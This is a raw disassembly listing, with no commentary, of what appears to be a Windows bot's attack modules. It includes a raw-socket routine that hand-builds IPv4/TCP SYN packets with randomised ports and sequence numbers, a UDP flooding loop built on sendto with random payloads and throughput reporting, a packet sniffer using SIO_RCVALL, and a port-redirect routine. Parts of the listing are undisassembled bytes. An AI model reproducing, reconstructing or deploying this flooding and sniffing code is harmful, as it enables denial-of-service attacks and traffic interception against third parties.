db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_428228
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428228: ; CODE XREF: sub_428210+Dj
mov eax, esi
pop esi
retn 4
sub_428210 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428240 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014CE
sub_428240 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428260 proc near ; CODE XREF: sub_401EB0j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428260
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_401DCF
sub_428260 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4283D0 proc near ; CODE XREF: sub_401BC7j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021C6
sub_4283D0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_428461
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_428461: ; CODE XREF: ___:00428441j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_428494
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_428494: ; CODE XREF: ___:00428485j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_4284B7
loc_4284AA: ; CODE XREF: ___:0042865Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4284B7: ; CODE XREF: ___:004284A8j
mov ecx, [esp+0B4h]
mov ebp, dword_511C38
push ecx
mov word ptr [esp+60h], 2
call ebp ; ntohs
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp ; ntohs
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp ; ntohs
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
call near ptr 27F0CAAh
nop
mov [esp+48h], eax
mov al, byte_4D84B9
test al, al
jz loc_42870B
mov ebx, dword_511AC8
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_428555
; ---------------------------------------------------------------------------
xor esi, esi
loc_428555: ; CODE XREF: ___:00428551j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp ; ntohs
push 14h
mov [esp+3Ah], ax
call ebp ; ntohs
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
nop
call near ptr 71AB2BC0h
mov esi, eax
mov [esp+2Ch], esi
call ebx ; rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp ; ntohs
mov [esp+34h], ax
call ebx ; rand
mov edi, eax
shl edi, 10h
call ebx ; rand
or edi, eax
push edi
call ebp ; ntohs
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A37
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A37
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
call near ptr 71AB2C69h
nop
cmp eax, 0FFFFFFFFh
jz loc_4284AA
nop
call near ptr 27F0CAAh
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_428707
mov al, [esp+13h]
test al, al
jz short loc_4286A9
push 2710h
push 3E8h
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4286A9: ; CODE XREF: ___:0042868Ej
push 0FFh
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 9520E890h, 0B9A00240h, 84004D84h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_428707: ; CODE XREF: ___:00428686j
mov edi, [esp+18h]
loc_42870B: ; CODE XREF: ___:0042853Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428810 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40188E
mov esi, eax
nop
call near ptr 77C371D3h
and eax, 800001FFh
jns short loc_428831
dec eax
or eax, 0FFFFFE00h
inc eax
loc_428831: ; CODE XREF: sub_428810+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BC7
sub_428810 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428880 proc near ; CODE XREF: sub_40178Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428880
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F11C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_428880 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_428908
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428908: ; CODE XREF: sub_4288F0+Dj
mov eax, esi
pop esi
retn 4
sub_4288F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428920 proc near ; CODE XREF: sub_401159j
jmp sub_4014CE
sub_428920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428940 proc near ; CODE XREF: sub_401A14j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428940
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_40142E
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014DD
push eax
call sub_40173A
add esp, 14h
test eax, eax
jz short loc_428A0E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_428A0E: ; CODE XREF: sub_428940+A2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_428940 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428AB0 proc near ; CODE XREF: sub_40173Aj
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_437B30
push esi
push 11h
push 2
push 2
call near ptr 71AB3B91h
nop
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428B11
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_428B0A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_428B0A: ; CODE XREF: sub_428AB0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428B11: ; CODE XREF: sub_428AB0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_511AC8
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_428B4D
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B4D: ; CODE XREF: sub_428AB0+77j
push esi
nop
call near ptr 71AB2B66h
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_428B6B
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B6B: ; CODE XREF: sub_428AB0+ACj
cmp esi, 0FFFFh
jle short loc_428B7E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_428B7E: ; CODE XREF: sub_428AB0+9Bj
; sub_428AB0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_428B94
mov [esp+28h+arg_FFE4], 1
loc_428B94: ; CODE XREF: sub_428AB0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_428BCE
loc_428BBB: ; CODE XREF: sub_428AB0+11Cj
call ebx ; rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_428BBB
loc_428BCE: ; CODE XREF: sub_428AB0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_428C60
mov ebp, dword_511C68
loc_428BE6: ; CODE XREF: sub_428AB0+1AEj
mov al, byte_4D84B9
test al, al
jz short loc_428C60
mov esi, 0Bh
loc_428BF4: ; CODE XREF: sub_428AB0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx ; rand
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp ; sendto
mov eax, [esp+40h+arg_FFCC]
push eax
call near ptr 2831C1Ah
nop
dec esi
jnz short loc_428BF4
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_428C4B
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call near ptr 71AB2B66h
nop
mov [esp+48h+var_36], ax
loc_428C4B: ; CODE XREF: sub_428AB0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_428BE6
loc_428C60: ; CODE XREF: sub_428AB0+12Aj
; sub_428AB0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_428AB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428CE0 proc near ; CODE XREF: sub_40209Aj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A37
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
call near ptr 71AB8769h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_428D3D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D3D: ; CODE XREF: sub_428CE0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_428D5D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D5D: ; CODE XREF: sub_428CE0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_428CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428DC0 proc near ; CODE XREF: sub_401DB1j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_437B30
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40188E
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40188E
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_448F30
mov eax, edi
loc_428E27: ; CODE XREF: sub_428DC0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428E4B
test cl, cl
jz short loc_428E47
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428E4B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428E27
loc_428E47: ; CODE XREF: sub_428DC0+71j
xor eax, eax
jmp short loc_428E50
; ---------------------------------------------------------------------------
loc_428E4B: ; CODE XREF: sub_428DC0+6Dj
; sub_428DC0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E50: ; CODE XREF: sub_428DC0+89j
cmp eax, ebx
jnz short loc_428EA3
mov ebp, dword_4D80C7
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_428E67
cmp ebp, 0FFFFFFFFh
jnz short loc_428EAE
loc_428E67: ; CODE XREF: sub_428DC0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
call near ptr 71AB50C8h
nop
lea ecx, [esp+18h+arg_1C]
push ecx
nop
call near ptr 71AB4FD4h
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_428EAE
; ---------------------------------------------------------------------------
loc_428EA3: ; CODE XREF: sub_428DC0+92j
push edi
call sub_40188E
add esp, 4
mov ebp, eax
loc_428EAE: ; CODE XREF: sub_428DC0+A5j
; sub_428DC0+E1j
cmp ebp, ebx
jz short loc_428EB7
cmp ebp, 0FFFFFFFFh
jnz short loc_428EBD
loc_428EB7: ; CODE XREF: sub_428DC0+F0j
mov ebp, dword_4D80C7
loc_428EBD: ; CODE XREF: sub_428DC0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_428FFD
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
call near ptr 71AB3EA1h
nop
cmp eax, 0FFFFFFFFh
jz loc_428FFD
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
call near ptr 71AB3E00h
nop
cmp eax, 0FFFFFFFFh
jz loc_428FFD
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
call near ptr 71AB4489h
nop
cmp eax, 0FFFFFFFFh
jz loc_428FFD
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_428FE3
mov ebx, dword_511CA4
loc_428F53: ; CODE XREF: sub_428DC0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx ; recv
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_428FD3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_428FAE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_428FCB
; ---------------------------------------------------------------------------
loc_428FAE: ; CODE XREF: sub_428DC0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_428FD3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_428FCB: ; CODE XREF: sub_428DC0+1ECj
call sub_40209A
add esp, 8
loc_428FD3: ; CODE XREF: sub_428DC0+1C0j
; sub_428DC0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_428F53
loc_428FE3: ; CODE XREF: sub_428DC0+187j
mov edx, dword_511A90
add edx, 20h
push edx
call near ptr 77C3EEF6h
nop
add esp, 4
push esi
nop
call near ptr 71AB9639h
loc_428FFD: ; CODE XREF: sub_428DC0+11Dj
; sub_428DC0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_428DC0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4290B0 proc near ; CODE XREF: sub_401898j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4290B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_446EF4
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F12C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4290B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429120 proc near ; CODE XREF: ___:00401096j sub_401C3Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015FF
test [esp+4+arg_0], 1
jz short loc_429138
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_429138: ; CODE XREF: sub_429120+Dj
mov eax, esi
pop esi
retn 4
sub_429120 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429150 proc near ; CODE XREF: sub_4015FFj
jmp sub_4017A8
sub_429150 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429170 proc near ; CODE XREF: sub_4015B9j
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_401DB1
add esp, 10h
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_429170 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429290 proc near ; CODE XREF: sub_401FA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429290
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429290 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429350 proc near ; CODE XREF: sub_4017A8j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429350
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
